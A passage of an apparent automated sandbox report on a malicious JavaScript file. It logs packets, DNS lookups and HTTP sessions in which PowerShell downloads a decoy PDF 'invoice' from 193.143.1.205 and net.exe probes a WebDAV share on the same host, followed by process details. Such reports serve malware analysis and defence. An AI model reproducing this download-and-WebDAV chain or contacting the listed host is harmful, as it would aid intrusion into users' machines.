Jan 10, 2025 18:41:01.069561005 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.069578886 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.069586039 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.069591045 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.069632053 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:01.069648981 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.069655895 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.069660902 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.069688082 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:01.069710970 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.069715977 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.069726944 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.069732904 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.069755077 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:01.069907904 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.069914103 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.069921017 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.069931030 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.069936991 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.069945097 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.069963932 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:01.070022106 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.070028067 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.070070028 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:01.070116997 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.070122004 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.070128918 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.070167065 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:01.070171118 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.070178032 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.070184946 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.070198059 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.070226908 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:01.070285082 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.070290089 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.070302010 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.070363045 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:01.070436001 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.070441961 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.070452929 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.070458889 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.070465088 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.070472002 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.070477962 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.070486069 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:01.070506096 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.070518970 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:01.070519924 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.070525885 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.070538044 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.070544958 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.070544958 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:01.070550919 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.070575953 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:01.070749044 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.070761919 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.070777893 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.070784092 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.070792913 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.070801020 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.070802927 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:01.070827007 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:01.070846081 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:01.070858955 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.070866108 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.070879936 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.070885897 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.070894957 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.070899010 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:01.070909977 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.070916891 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.070921898 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.070934057 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:01.070971966 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:01.071166992 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.071172953 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.071185112 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.071199894 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.071206093 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.071211100 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:01.071245909 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:01.071273088 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.071279049 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.071330070 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:01.071338892 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.071345091 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.071356058 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.071362019 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.071381092 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:01.071386099 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.071392059 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.071398973 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.071409941 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.071435928 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.071435928 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:01.071441889 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.071449041 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.071490049 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:01.071511030 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.071516991 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.071523905 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.071537971 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.071552992 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.071557999 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.071561098 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:01.071563959 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.071589947 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:01.072938919 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:01.076872110 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:01.101672888 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.101679087 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.101686001 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.101691008 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.101708889 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.101716042 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.101722956 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.101725101 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:01.101727962 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.101748943 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:01.101782084 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:01.125525951 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.125533104 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.125545979 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.125612020 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.125618935 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.125626087 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:01.125638008 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.125643969 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.125650883 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.125655890 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.125663042 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.125669003 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.125675917 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.125699043 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:01.125715017 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.125725031 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:01.125750065 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:01.127083063 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.157804012 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:01.157821894 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.157828093 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.157840967 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.157851934 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.157857895 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.157891035 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:01.157916069 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.157922029 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.157933950 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.157938004 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.157963991 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:01.157965899 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.157973051 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.157978058 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.158015013 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:01.158041000 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.158046961 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.158052921 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.158073902 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.158078909 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.158092976 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:01.158119917 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:01.158252001 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.158257961 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.158265114 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.158303022 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:01.158317089 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.158323050 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.158329010 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.158339977 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.158344984 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.158366919 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:01.158382893 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:01.161746025 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:01.169682026 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:01.303180933 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:01.663664103 CET	49721	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:01.668504953 CET	8888	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:01.668591976 CET	49721	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:01.668797016 CET	49721	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:01.674051046 CET	8888	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:02.490504980 CET	8888	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 18:41:02.542601109 CET	49721	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 18:41:02.799087048 CET	49721	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 18:43:05.188016891 CET	50735	53	192.168.2.6	1.1.1.1
Jan 10, 2025 18:43:05.193068981 CET	53	50735	1.1.1.1	192.168.2.6
Jan 10, 2025 18:43:05.195333004 CET	50735	53	192.168.2.6	1.1.1.1
Jan 10, 2025 18:43:05.195333004 CET	50735	53	192.168.2.6	1.1.1.1
Jan 10, 2025 18:43:05.201400042 CET	53	50735	1.1.1.1	192.168.2.6
Jan 10, 2025 18:43:05.666696072 CET	53	50735	1.1.1.1	192.168.2.6
Jan 10, 2025 18:43:05.667062998 CET	50735	53	192.168.2.6	1.1.1.1
Jan 10, 2025 18:43:05.675998926 CET	53	50735	1.1.1.1	192.168.2.6
Jan 10, 2025 18:43:05.679116011 CET	50735	53	192.168.2.6	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 18:41:15.036961079 CET	65204	53	192.168.2.6	1.1.1.1
Jan 10, 2025 18:41:38.838146925 CET	51515	53	192.168.2.6	1.1.1.1
Jan 10, 2025 18:42:02.915905952 CET	58692	53	192.168.2.6	1.1.1.1
Jan 10, 2025 18:43:05.187571049 CET	53	51455	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 18:41:15.036961079 CET	192.168.2.6	1.1.1.1	0x5bd9	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:41:38.838146925 CET	192.168.2.6	1.1.1.1	0x11f9	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:42:02.915905952 CET	192.168.2.6	1.1.1.1	0xa6a	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Type	Class	DNS over HTTPS
Jan 10, 2025 18:41:15.044258118 CET	1.1.1.1	192.168.2.6	0x5bd9	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 18:41:38.845540047 CET	1.1.1.1	192.168.2.6	0x11f9	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 18:42:02.923533916 CET	1.1.1.1	192.168.2.6	0xa6a	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49711	193.143.1.205	80	6876	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 18:40:59.597904921 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 18:41:00.408490896 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 17:41:00 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 18:41:00.408504963 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 18:41:00.408519983 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 18:41:00.408543110 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 10, 2025 18:41:00.408554077 CET	1236	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 10, 2025 18:41:00.408575058 CET	1236	IN	Data Raw: be 39 01 00 00 4c 83 2f 96 00 60 a7 e4 ee c3 e1 37 de 73 b5 22 0c 16 6b 89 05 e5 0b d0 25 e5 71 65 85 2e b3 44 a4 58 bd 4f d5 5c c6 a2 4f a0 b9 b0 4d 5c d5 86 5e df cd 5d d8 2a 9f 26 b9 27 b9 de e6 9e ae 25 de f6 35 6f b9 f0 9a c3 5f b6 83 af e6 Data Ascii: 9L/`7s"k%qe.DXO\OM\^]*&'%5o_&^^O\CS1Cb96tCoN%;_ekZl3<".wU\^]r)5s3~\AV6[E_
Jan 10, 2025 18:41:00.408586025 CET	1236	IN	Data Raw: 7f d2 56 b9 b0 ca 60 14 1a 7d 8b d6 64 ac 87 ba a3 39 17 7d ba fc 73 a5 df 57 97 11 f3 ae ab 79 0e fd db 3e f7 59 b0 fa ab 59 7e f3 17 6e 2c f5 2f 62 f9 75 2c bc 94 a3 af e0 12 f7 b7 ca 3b 6d 78 b3 f5 d7 50 7e 36 a6 fe a7 10 80 2f 56 fd 3f 52 f1 Data Ascii: V`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(n7'iLlG?o9ZLAuI}uV'bF%&0$O-TfWS*ysl]ok:5UDsX\|FhI
Jan 10, 2025 18:41:00.408597946 CET	1236	IN	Data Raw: a1 87 7e ac 1e 3c 0f 5f c7 dc cf 7e d4 47 ed 42 06 5d e8 4e 7b a1 98 3b ed 12 e3 cf 7c b1 0d 60 a3 d6 90 4c b0 b3 16 38 30 b4 89 a1 8f 4d 0c ed 0f 0c 6d 62 e8 59 1f 43 8f 6e 8f 06 31 b4 db 94 2b 3d b4 4d a2 c1 43 fe 57 19 0b 0d 62 e8 71 17 43 2f Data Ascii: ~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8*#5L>8f\^xmI3#^{hudM/eG_\?c
Jan 10, 2025 18:41:00.408607960 CET	1236	IN	Data Raw: d6 ec 57 ea 24 3a fb 50 32 22 1a 86 48 49 a2 9a 99 9f 0d 33 90 34 50 59 de fb 5c 31 fb 7b 7d a2 2a ac 30 d5 63 aa 3a 83 96 53 a3 19 21 34 f9 2c ac 66 7a 78 36 97 1d 17 9d 22 34 cb 54 73 13 8e 7e e3 b1 7e ae 7c ab 35 17 66 de 8a 95 eb 55 47 4b 68 Data Ascii: W$:P2"HI34PY\1{}*0c:S!4,fzx6"4Ts~~\|5fUGKhe?0P3K~0d80]f6WDLo/5ER^JQ9YX]3]8VU[Zb(-X`480mzq~wbuC1T@7'il3}\|=
Jan 10, 2025 18:41:00.408620119 CET	36	IN	Data Raw: f9 7c d5 25 06 09 d3 8b ee 67 09 6b da 99 94 50 69 c7 92 cc 7e 76 cc a9 af fa 55 d3 3d d4 8f 13 2e b1 5b b5 Data Ascii: \|%gkPi~vU=.[
Jan 10, 2025 18:41:00.468478918 CET	1236	IN	Data Raw: 5c 42 4d c9 92 98 25 01 ab f2 ac d5 f2 89 9c e1 82 5c 5d 42 d3 73 a5 17 44 7f 3f a4 77 44 fb 05 d1 a3 ef 34 53 de 17 ca ee e1 79 be e9 2d a7 5f 50 f3 f3 00 b9 19 ed 5c dd ae 39 af 33 7c 4a fd 08 fc db 21 e9 da 32 e4 9b 1b 81 37 1b 8f cd 90 6f ee Data Ascii: \BM%\]BsD?wD4Sy-_P\93\|J!27o31!`8?0=0cCr&wzb<0XM3wTCsc6ZsIifY;r\|MoMUtkpYLI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49721	193.143.1.205	8888	4180	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 18:41:01.668797016 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 18:41:02.490504980 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 17:41:02 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	12:40:52
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7605302032554420656.js"
Imagebase:	0x7ff62f180000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	12:40:53
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
